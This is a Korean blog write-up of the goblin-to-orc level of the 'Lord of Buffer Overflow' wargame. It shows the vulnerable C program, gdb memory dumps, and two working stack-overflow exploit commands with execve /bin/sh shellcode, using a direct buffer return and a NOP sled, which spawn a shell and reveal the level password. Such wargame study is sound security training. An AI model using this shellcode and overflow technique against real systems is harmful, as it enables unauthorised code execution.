728x90

goblin / hackers proof

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

environ이란 변수가 등장한다. environment가 환경을 의미하는 단어다. 아래엔 memset으로 environ배열을 0으로 초기화한다. 즉, 환경 변수를 쓸 수 없다. 또 하나의 조건은 argv[1]의 48번째 문자가 '\xbf'이어야 한다.

orc 실행파일을 복사해서 gdb로 실행해 보자.

0x80485b0 <main+176>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:	add    %eax,4
0x80485b6 <main+182>:	mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	lea    %eax,[%ebp-40]  //buffer 주소 ebp-40
0x80485bc <main+188>:	push   %eax
0x80485bd <main+189>:	call   0x8048440 <strcpy>
0x80485c2 <main+194>:	add    %esp,8
0x80485c5 <main+197>:	lea    %eax,[%ebp-40]

strcpy의 인자로 buffer가 전달되기에 ebp-40이 buffer의 주소임을 알 수 있다.

첫 번째 방식

buffer(40 bytes)에 쉘 코드를 삽입하고 해당 주소로 retn하도록 하면 쉘 코드가 실행될 것이다.

쉘 코드는 25 bytes라서 buffer를 이용하면 충분히 bof 공격이 가능하다.

우선 orc를 ORC로 복사해서 gdb를 실행하였다.

argv[1]에는 쉘 코드(25 bytes)+"A"(19 bytes)+임의의 retn 주소를 전달하였다. 이를 통해 쉘 코드의 시작 주소를 알아내었다.

쉘 코드 시작 주소: 0xbffffab0

(gdb) b *main+189
Breakpoint 2 at 0x80485bd
(gdb) r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/goblin/ORC `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/30x $ebp-44
0xbffffaac:	0x00000016	0x6850c031	0x68732f2f	0x69622f68
0xbffffabc:	0x50e3896e	0x31e18953	0xcd0bb0d2	0x41414180
0xbffffacc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffadc:	0xbfbfbfbf	0x00000000	0xbffffb24	0xbffffb30
0xbffffaec:	0x40013868	0x00000002	0x08048450	0x00000000
0xbffffafc:	0x08048471	0x08048500	0x00000002	0xbffffb24
0xbffffb0c:	0x08048390	0x0804860c	0x4000ae60	0xbffffb1c
0xbffffb1c:	0x40013e90	0x00000002

ORC를 실행하며 인자로 retn 주소는 0xbffffab0을 주었다.

[goblin@localhost goblin]$ ./ORC `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xb0\xfa\xff\xbf"'`
1󿿐h//shh/bin⏓󿲒°
               ̀AAAAAAAAAAAAAAAAAAA°
Segmentation fault (core dumped)
[goblin@localhost goblin]$ gdb -c core -q
Core was generated by `./ORC 1󿿐h//shh/bin⏓󿲒°
                                            ̀AAAAAAAAAAAAAAAAAAA°󽥮
Program terminated with signal 11, Segmentation fault.
#0  0xbffffab0 in ?? ()
(gdb) x/50x $esp -70
0xbffffaaa:	0xfae84010	0x85d3bfff	0x86590804	0xfac00804
0xbffffaba:	0x0017bfff	0xc0310000	0x2f2f6850	0x2f686873
0xbffffaca:	0x896e6962	0x895350e3	0xb0d231e1	0x4180cd0b
0xbffffada:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffaea:	0xfab04141	0x0000bfff	0xfb340000	0xfb40bfff
0xbffffafa:	0x3868bfff	0x00024001	0x84500000	0x00000804
0xbffffb0a:	0x84710000	0x85000804	0x00020804	0xfb340000
0xbffffb1a:	0x8390bfff	0x860c0804	0xae600804	0xfb2c4000
0xbffffb2a:	0x3e90bfff	0x00024001	0xfc2e0000	0xfc34bfff
0xbffffb3a:	0x0000bfff	0xfc650000	0xfc76bfff	0xfc8ebfff
0xbffffb4a:	0xfcadbfff	0xfccfbfff	0xfcdbbfff	0xfe9ebfff
0xbffffb5a:	0xfebdbfff	0xfed9bfff	0xfeeebfff	0xff0cbfff
0xbffffb6a:	0xff17bfff	0xff30bfff

core dumped가 발생했다. core 파일을 gdb로 들여다보았다. 그 결과 쉘 코드 주소가 0xbffffac0으로 바뀌어 있었다.

이제 orc 파일을 실행해 보자. retn 주소는 0xbffffac0으로 설정한다.

[goblin@localhost goblin]$ ./orc `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xc0\xfa\xff\xbf"'`
1󿿐h//shh/bin⏓󿲒°
               ̀AAAAAAAAAAAAAAAAAAAzÿ¿
bash$ my-pass
euid = 504
cantata

두 번째 방식

40 bytes(buffer)+4 bytes(sfp)를 "A"로 채우고 retn 주소(4 bytes)를 뒤에 전달할 \x90 주소중 하나로 선택한다. 이어서 '\x90'을 여유 있게 채우고 쉘 코드를 삽입한다. 이렇게 하면 main 함수 프롤로그 과정에서 retn에 의해 \x90 주소 중 하나로 이동하고, \x90은 NOP이기에 CPU는 \x90이 아닌 값이 나올 때까지 건너뛴다. 그러다가 쉘 코드를 만나서 실행하게 되는 것이다. retn 주소로 0xbffffa6c를 선택했다. 참고로 과정은 생략했는데 0xbffffa6c는 gdb 실행을 통해 알아내면 된다.

argv[1]에 전달하는 인자의 길이에 따라 스택의 메모리 주소 값이 달라진다. 이 점을 주의해서 retn 주소를 설정해야 한다. 나는 '\x90'의 개수를 200개로 설정했는데 100개로 한다면 주소값들이 200개일 때와 달라진다.

(gdb) r `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Starting program: /home/goblin/orc2 `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/100x $ebp-44
0xbffff9cc:	0x00000016	0x41414141	0x41414141	0x41414141
0xbffff9dc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9ec:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9fc:	0xbffffa6c	0x90909090	0x90909090	0x90909090
0xbffffa0c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa1c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa2c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa3c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa4c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa5c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa6c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa7c:	0x90909090	0x90909090	0x90909090	0x90909090---Type <return> to continue, or q <return> to quit---

0xbffffa8c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa9c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffaac:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffabc:	0x90909090	0x90909090	0x90909090	0x6850c031
0xbffffacc:	0x68732f2f	0x69622f68	0x50e3896e	0x31e18953
0xbffffadc:	0xcd0bb0d2	0x08040080	0x0000000b	0x000001f
[goblin@localhost goblin]$ ./orc `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl󿐐1󿿐h//shh/bin⏓󿲒°
                                                             ̀ 
bash$ my-pass
euid = 504
cantata​

`python ~~~' 명령어에 대해 궁금하면 내 티스토리의 ftz level11 글을 참고하길 바란다.

orc의 비밀번호: cantata

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21
gate -> gremlin  (0) 2023.01.21

+ Recent posts